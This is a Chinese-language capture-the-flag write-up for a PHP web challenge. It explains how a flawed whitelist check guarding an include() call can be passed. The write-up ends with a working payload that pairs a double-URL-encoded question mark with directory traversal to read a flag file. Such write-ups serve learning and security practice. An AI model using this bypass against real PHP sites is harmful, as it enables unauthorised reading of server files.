1.打开网址
- f12查看源代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
- 看到有source.php
- 访问一下看看
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
- 看到还有一个hint.php
- 访问一下看看
- 这里提示flag in ffffllllaaaagggg
2.解题思路
-
可以看到最后的include 是可以动态构造参数的,那应该就是解题关键了
-
不过要经过三个判断
-
第一个:检查一个变量是否为空
-
第二个:是否为字符串
-
第三个:通过函数来检查
-
重要是第三点的这个函数
-
函数作用是分三步检查传进来的参数是否满足白名单:
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
第一步:
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
-
只要我们传的参数是source.php或者hint.php则返回真
-
如果不满足继续往下判断
第二步:
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
取传进参数首次出现?前的部分
再进行白名单判断
如果还不满足继续往下判断
第三步:
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
-
先把传进的参数做urldecode
-
接着就和第二步一样
-
都不满足就输出"you can’t see it"并且返回假
-
使用%253F绕过
-
flag文件名也知道了就差路径不知道,一个一个试可以得到
-
source.php(或hint.php)?/…/…/…/…/…/…/ffffllllaaaagggg
payload如下
file=source.php%253f/../../../../../ffffllllaaaagggg